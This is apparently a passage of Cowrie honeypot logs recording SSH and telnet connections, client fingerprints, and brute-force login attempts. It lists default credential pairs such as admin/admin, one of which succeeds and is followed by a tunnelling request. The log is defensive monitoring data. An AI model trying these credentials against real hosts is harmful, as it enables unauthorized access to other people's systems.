{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:31:51.396889Z","src_ip":"181.39.158.30","session":"610187570b00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:31:51.512669Z","src_ip":"181.39.158.30","session":"610187570b00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ossuser","password":"Changeme_123","message":"login attempt [ossuser/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:31:52.012696Z","src_ip":"181.39.158.30","session":"610187570b00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:31:53.131500Z","src_ip":"181.39.158.30","session":"610187570b00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.582165479660034,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:31:53.572097Z","src_ip":"217.182.190.44","session":"bd6538030216","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"115.206.126.10","src_port":56402,"dst_ip":"10.17.0.5","dst_port":23,"session":"772e010d713a","protocol":"telnet","message":"New connection: 115.206.126.10:56402 (10.17.0.5:23) [session: 772e010d713a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:32:02.060190Z"}
{"eventid":"cowrie.session.connect","src_ip":"217.182.190.44","src_port":53026,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf51d204d904","protocol":"telnet","message":"New connection: 217.182.190.44:53026 (10.17.0.5:23) [session: bf51d204d904]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:32:07.134445Z"}
{"eventid":"cowrie.session.closed","duration":12.271116018295288,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:32:14.331142Z","src_ip":"115.206.126.10","session":"772e010d713a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":36396,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a7a9a6e5749","protocol":"telnet","message":"New connection: 174.138.46.234:36396 (159.203.135.109:23) [session: 7a7a9a6e5749]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:32:14.789689Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":36524,"dst_ip":"159.203.135.109","dst_port":23,"session":"11074b56b728","protocol":"telnet","message":"New connection: 174.138.46.234:36524 (159.203.135.109:23) [session: 11074b56b728]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:32:15.220105Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":36402,"dst_ip":"159.203.135.109","dst_port":23,"session":"197f3b10db2d","protocol":"telnet","message":"New connection: 174.138.46.234:36402 (159.203.135.109:23) [session: 197f3b10db2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:32:15.799856Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":36526,"dst_ip":"159.203.135.109","dst_port":23,"session":"27c1742fc370","protocol":"telnet","message":"New connection: 174.138.46.234:36526 (159.203.135.109:23) [session: 27c1742fc370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:32:16.224273Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":36170,"dst_ip":"159.203.135.109","dst_port":23,"session":"b7c700f0ef58","protocol":"telnet","message":"New connection: 174.138.46.234:36170 (159.203.135.109:23) [session: b7c700f0ef58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:32:16.936942Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":52474,"dst_ip":"10.17.0.5","dst_port":22,"session":"c104647fe318","protocol":"ssh","message":"New connection: 87.251.64.176:52474 (10.17.0.5:22) [session: c104647fe318]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:32:19.286537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:32:19.293442Z","src_ip":"87.251.64.176","session":"c104647fe318","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:32:19.389511Z","src_ip":"87.251.64.176","session":"c104647fe318","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:32:19.678063Z","src_ip":"87.251.64.176","session":"c104647fe318","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:32:19.777057Z","session":"c104647fe318","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:32:19.875031Z","src_ip":"87.251.64.176","session":"c104647fe318","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:32:19.974679Z","src_ip":"87.251.64.176","session":"c104647fe318","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.349498510360718,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:32:20.569491Z","src_ip":"174.138.46.234","session":"11074b56b728","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.956246614456177,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:32:21.180351Z","src_ip":"174.138.46.234","session":"27c1742fc370","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"217.182.190.44","src_port":37102,"dst_ip":"10.17.0.5","dst_port":23,"session":"16ad7ea607d4","protocol":"telnet","message":"New connection: 217.182.190.44:37102 (10.17.0.5:23) [session: 16ad7ea607d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:32:33.473143Z"}
{"eventid":"cowrie.session.connect","src_ip":"14.248.83.33","src_port":34018,"dst_ip":"159.203.135.109","dst_port":22,"session":"6849e5cbb18b","protocol":"ssh","message":"New connection: 14.248.83.33:34018 (159.203.135.109:22) [session: 6849e5cbb18b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:32:36.318453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:32:36.327724Z","src_ip":"14.248.83.33","session":"6849e5cbb18b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:32:36.569532Z","src_ip":"14.248.83.33","session":"6849e5cbb18b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"1qaz@wsx","message":"login attempt [git/1qaz@wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:32:37.565437Z","src_ip":"14.248.83.33","session":"6849e5cbb18b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:32:38.809406Z","src_ip":"14.248.83.33","session":"6849e5cbb18b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.31202483177185,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:32:40.446341Z","src_ip":"217.182.190.44","session":"bf51d204d904","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.39.158.30","src_port":43182,"dst_ip":"159.203.135.109","dst_port":22,"session":"897ecc96ce5f","protocol":"ssh","message":"New connection: 181.39.158.30:43182 (159.203.135.109:22) [session: 897ecc96ce5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:32:48.771915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:32:48.776599Z","src_ip":"181.39.158.30","session":"897ecc96ce5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:32:48.900987Z","src_ip":"181.39.158.30","session":"897ecc96ce5f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpserver","password":"123456","message":"login attempt [ftpserver/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:32:49.431671Z","src_ip":"181.39.158.30","session":"897ecc96ce5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:32:50.559225Z","src_ip":"181.39.158.30","session":"897ecc96ce5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.706522703170776,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:33:03.643355Z","src_ip":"174.138.46.234","session":"b7c700f0ef58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94526433944702,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:33:04.418312Z","src_ip":"217.182.190.44","session":"16ad7ea607d4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.83004379272461,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:33:04.619612Z","src_ip":"174.138.46.234","session":"7a7a9a6e5749","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.78606653213501,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:33:07.585805Z","src_ip":"174.138.46.234","session":"197f3b10db2d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.139","src_port":44870,"dst_ip":"159.203.135.109","dst_port":23,"session":"afdaa2671c34","protocol":"telnet","message":"New connection: 66.132.172.139:44870 (159.203.135.109:23) [session: afdaa2671c34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:33:17.906033Z"}
{"eventid":"cowrie.session.closed","duration":15.048139572143555,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:33:32.954039Z","src_ip":"66.132.172.139","session":"afdaa2671c34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"14.248.83.33","src_port":13810,"dst_ip":"159.203.135.109","dst_port":22,"session":"3cb1264f4bda","protocol":"ssh","message":"New connection: 14.248.83.33:13810 (159.203.135.109:22) [session: 3cb1264f4bda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:33:34.012354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:33:34.016868Z","src_ip":"14.248.83.33","session":"3cb1264f4bda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:33:34.261567Z","src_ip":"14.248.83.33","session":"3cb1264f4bda","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vpn","password":"1q2w3e4r","message":"login attempt [vpn/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:33:35.274319Z","src_ip":"14.248.83.33","session":"3cb1264f4bda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:33:36.523033Z","src_ip":"14.248.83.33","session":"3cb1264f4bda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.139","src_port":59588,"dst_ip":"159.203.135.109","dst_port":23,"session":"de90010584b6","protocol":"telnet","message":"New connection: 66.132.172.139:59588 (159.203.135.109:23) [session: de90010584b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:33:37.446053Z"}
{"eventid":"cowrie.session.closed","duration":3.3594343662261963,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:33:40.805376Z","src_ip":"66.132.172.139","session":"de90010584b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.195.94","src_port":19784,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ca0b4258360","protocol":"telnet","message":"New connection: 66.132.195.94:19784 (159.203.135.109:23) [session: 5ca0b4258360]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:33:40.820843Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.132.172.139","src_port":59666,"dst_ip":"159.203.135.109","dst_port":23,"session":"08a5e7abc7e3","protocol":"telnet","message":"New connection: 66.132.172.139:59666 (159.203.135.109:23) [session: 08a5e7abc7e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:33:44.100596Z"}
{"eventid":"cowrie.session.closed","duration":10.177855730056763,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:33:54.278254Z","src_ip":"66.132.172.139","session":"08a5e7abc7e3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":18.280555248260498,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:33:59.101305Z","src_ip":"66.132.195.94","session":"5ca0b4258360","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.39.158.30","src_port":16336,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9bb0ee9b8c4","protocol":"ssh","message":"New connection: 181.39.158.30:16336 (159.203.135.109:22) [session: c9bb0ee9b8c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:34:02.704208Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:34:02.709544Z","src_ip":"181.39.158.30","session":"c9bb0ee9b8c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ec